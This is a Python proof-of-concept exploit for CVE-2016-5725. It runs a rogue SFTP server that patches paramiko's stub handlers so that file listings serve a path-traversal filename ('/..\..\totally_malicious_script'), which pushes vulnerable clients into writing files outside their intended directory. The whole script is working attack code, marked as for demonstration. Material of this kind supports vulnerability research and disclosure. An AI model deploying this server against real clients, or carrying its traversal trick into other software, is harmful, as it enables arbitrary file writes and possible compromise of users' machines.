#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# Author : <github.com/tintinweb>
###############################################################################
#
# FOR DEMONSTRATION PURPOSES ONLY!
#
###############################################################################
import sys
import os
import time
import StringIO
import logging
LOGGER = logging.getLogger(__name__)

try:
    from paramiko import ServerInterface, SFTPServerInterface, SFTPServer, SFTPAttributes, \
    SFTPHandle, SFTP_OK, AUTH_SUCCESSFUL, OPEN_SUCCEEDED
    import sftpserver
except ImportError, ie:
    logging.exception(ie)
    logging.warning("Please install python-paramiko: pip install paramiko / easy_install paramiko / <distro_pkgmgr> install python-paramiko")
    sys.exit(1)
    

FILES = {}  # store fake files

def create_fake_file(filename, size=44):
    ''' creates sftp compatible file-attrib objects
    '''
    attr = SFTPAttributes()
    attr.st_size = size
    attr.st_uid = 0
    attr.st_gid = 9
    attr.st_mode = 0100666
    attr.st_atime = time.time()-10
    attr.st_mtime = time.time()-5
    attr.filename =  filename   # traversal
    # remove traversal, store real filename in an extra attrib 'basename'
    attr.basename = filename.replace("\\","/").rsplit('/',1)[1] if "/" in filename or "\\" in filename else filename
    LOGGER.info("** %s"%attr.filename)
    return attr

class MonkeyPatch:
    ''' our implementation of sftp server commands 
    '''
    @staticmethod
    def list_folder(self, path):
        ''' client: ls 
        '''
        LOGGER.info("LIST (%r): %r"%(path,FILES.values()))
        return FILES.values()
    @staticmethod
    def stat(self, path):
        ''' client: stat
        '''
        LOGGER.info("STAT (%r)"%path)
        if "/" in path or "\\" in path:
            # get basename for client provided path (may contain traversal)
            path = path.replace("\\","/").rsplit('/',1)[1]
        LOGGER.info("STAT - returning: %s"%path)
        f = FILES[path]
        return create_fake_file(f.filename, f.st_size)
    #lstat = stat
    @staticmethod
    def open(self, path, flags, attr):
        ''' client: fopen
        '''
        LOGGER.info("OPEN: %s"%path)
        flags = 32768
        fobj = sftpserver.stub_sftp.StubSFTPHandle(flags)
        fobj.filename = path
        if "/" in path or "\\" in path:
            path = path.replace("\\","/").rsplit('/',1)[1]
        fsize = FILES[path].st_size
        data = ("%s"%time.time()).ljust(fsize,'.')[:fsize]
        fobj.readfile = StringIO.StringIO(data)
        fobj.writefile = StringIO.StringIO()
        return fobj
    @staticmethod
    def remove(self, path):
        # make sftp happy
        return SFTP_OK
    @staticmethod
    def rename(self, oldpath, newpath):
        return SFTP_OK
    @staticmethod
    def mkdir(self, path, attr):
        return SFTP_OK
    @staticmethod
    def rmdir(self, path):
        return SFTP_OK
    @staticmethod
    def chattr(self, path, attr):
        return SFTP_OK
    @staticmethod
    def symlink(self, target_path, path):
        return SFTP_OK

if __name__=="__main__":
    logging.basicConfig(loglevel=logging.DEBUG)
    LOGGER.setLevel(logging.DEBUG)
    logging.getLogger("paramiko").setLevel(logging.DEBUG)
    logging.getLogger("paramiko.transport").setLevel(logging.DEBUG)
    LOGGER.info("[cve-2016-5725] sftp server starting... ")
    LOGGER.info("* generating fake files")
    # generate one file for now.
    for fileid in range(1):
        ff = create_fake_file("/..\\..\\" +"totally_malicious_script",44)     # traversal
        # we are storing the basename here as the client might request <any_folder>/ff.basename
        FILES[ff.basename]=ff
        
    LOGGER.info("* setting up sftp server")
    for m in (_ for _ in dir(MonkeyPatch) if not _.startswith("__")):
        LOGGER.info("* monkey patching: %s"%m)
        setattr(sftpserver.StubSFTPServer, m, getattr(MonkeyPatch, m))      # Patch in our impls.
        
    LOGGER.info("* starting sftp server...")
    sftpserver.main()
    LOGGER.info("bye!")